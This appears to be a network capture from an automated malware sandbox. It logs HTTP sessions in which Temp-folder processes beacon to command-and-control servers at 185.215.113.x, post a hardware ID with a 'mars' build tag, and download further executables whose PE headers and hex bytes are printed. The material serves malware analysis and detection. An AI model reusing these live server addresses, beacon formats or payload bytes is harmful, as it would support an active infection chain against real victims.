Nov 18, 2024 04:42:21.461256027 CET	1236	IN	Data Raw: 31 78 bc 28 19 9e 7f bd f5 89 7b b4 95 03 5f 94 5b 11 d2 23 fb 3e eb 62 06 ad 48 e8 2f 32 b9 b1 1c b9 3f f8 71 0f c7 a9 3f 59 4d 41 d1 fd 26 a9 fd 31 8d 42 02 af 5c 22 03 01 7c 44 a5 0f 77 32 4d 88 63 65 76 21 79 36 59 fe 60 34 73 3f 4c b2 f5 3d Data Ascii: 1x({_[#>bH/2?q?YMA&1B\"\|Dw2Mcev!y6Y`4s?L=s;5u57fAqK2g%9a6mdw0U/Y4uM0q;5qL5e}_/2V3:\|wv53Cf6E2[b%Hh4Hd=Guq?62(/?6/38k:?wv$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50118	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:25.509860039 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007061001&unit=246122658369
Nov 18, 2024 04:42:26.262634993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50120	185.215.113.206	80	7928	C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:26.175605059 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:42:27.084125042 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:42:27.086313963 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="build"mars------CAAAFCAKKKFBFIDGDBFH--
Nov 18, 2024 04:42:27.370606899 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:42:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50121	185.215.113.16	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:26.270610094 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 04:42:27.168818951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:27 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 18 Nov 2024 03:26:04 GMT Connection: keep-alive ETag: "673ab3cc-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c4 b3 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL:g"dw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 04:42:27.168855906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 18, 2024 04:42:27.168891907 CET	424	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 18, 2024 04:42:27.168930054 CET	1148	IN	Data Raw: e3 0f 04 00 8b 8f fc fc ff ff 85 c9 0f 85 e9 0f 04 00 8d 8f e8 fc ff ff e8 2d 82 00 00 8d 8f d0 fc ff ff e8 9d 02 00 00 8b 8f c4 fc ff ff 85 c9 0f 85 d9 0f 04 00 89 9f cc fc ff ff 8b 8f b8 fc ff ff 85 c9 0f 85 d9 0f 04 00 8d 8f 6c fc ff ff 89 9f Data Ascii: -l\L_^[`t#05MI`tQF;dfqQVW3N>5N$-N4
Nov 18, 2024 04:42:27.168966055 CET	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Nov 18, 2024 04:42:27.169001102 CET	1236	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u
Nov 18, 2024 04:42:27.169035912 CET	1236	IN	Data Raw: c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 Data Ascii: {lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]
Nov 18, 2024 04:42:27.169091940 CET	1236	IN	Data Raw: 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff Data Ascii: }}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFML
Nov 18, 2024 04:42:27.169127941 CET	1236	IN	Data Raw: 00 8b d6 8b ce e8 8a ff ff ff ff 75 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 Data Ascii: uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME
Nov 18, 2024 04:42:27.169163942 CET	1236	IN	Data Raw: 78 76 00 00 8b 55 08 8d 83 84 01 00 00 c1 e2 04 03 c2 89 7d fc 3b f0 74 08 50 8b ce e8 c1 75 00 00 8b 45 08 8d 8b 8c 00 00 00 89 07 8d 45 fc 50 e8 07 00 00 00 5f 5e 5b c9 c2 04 00 55 8b ec 56 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 Data Ascii: xvU};tPuEEP_^[UVjUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;
Nov 18, 2024 04:42:27.174103975 CET	1236	IN	Data Raw: c0 23 c2 50 e8 f0 5b 00 00 5e 5d c2 04 00 55 8b ec 83 ec 10 53 8b c1 56 57 33 f6 89 45 f8 8b 78 04 89 7d f0 8d 57 ff 85 ff 74 4b 8b 45 08 0f b7 00 89 45 fc 33 db 33 c9 66 85 c0 74 30 8b 45 f8 8b 7d 08 8b 00 0f b7 04 50 89 45 f4 8b 45 fc 0f b7 c0 Data Ascii: #P[^]USVW3Ex}WtKEE33ft0E}PEEf9Et#C_fu}!_^[AUSVWh3D$D$SP9uM9uM9uMS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	64715	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:30.528652906 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007062001&unit=246122658369
Nov 18, 2024 04:42:31.420059919 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	64721	185.215.113.16	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:31.495285034 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 04:42:32.937489033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:32 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Mon, 18 Nov 2024 03:26:31 GMT Connection: keep-alive ETag: "673ab3e7-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@hinbqzan`X:@bfucfdhf +@.taggant@ +"@
Nov 18, 2024 04:42:32.937505960 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937519073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937535048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937555075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937572002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937589884 CET	648	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937607050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937623024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:32.937635899 CET	24	IN	Data Raw: fd 1c c1 ab 19 35 94 10 14 2d 3f 78 8e 6f f5 99 52 18 12 88 3e f8 32 d5 Data Ascii: 5-?xoR>2
Nov 18, 2024 04:42:32.937650919 CET	1236	IN	Data Raw: 68 7f ce 87 23 68 e5 44 3c 46 fd 10 2f e8 04 28 95 64 39 1e 65 5e 2e fc 87 6e c1 70 f6 b2 b9 3e 6f c4 3b 1a f6 73 33 80 eb 06 33 0b a5 e0 54 57 d3 66 0f 48 1c 20 0d b6 13 6d b3 02 90 37 a5 f6 23 33 3b e4 af e7 ac 91 ab 70 7a 5a 17 8c 3a 8a e0 9b Data Ascii: h#hD<F/(d9e^.np>o;s33TWfH m7#3;pzZ:/j^3Ur$jP00^9YR7# {5iwI064t\|D?.yRA06DY\k47LdUs754<\i,O
Nov 18, 2024 04:42:32.937753916 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:32 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Mon, 18 Nov 2024 03:26:31 GMT Connection: keep-alive ETag: "673ab3e7-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@hinbqzan`X:@bfucfdhf +@.taggant@ +"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	64730	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:36.959062099 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007063001&unit=246122658369
Nov 18, 2024 04:42:37.861774921 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	64733	34.107.221.82	80	2800	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:38.504610062 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:42:39.098769903 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79493 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	64738	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:39.482089043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:42:40.385935068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	64739	34.107.221.82	80	2800	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:39.865700006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:42:40.469388962 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48700 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	64742	34.107.221.82	80	2800	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:39.889434099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:42:40.492126942 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79494 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:42:42.594100952 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:42:42.720366001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79496 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:42:52.731317043 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:43:02.740920067 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	64745	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:41.413481951 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:42:42.325876951 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:42:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
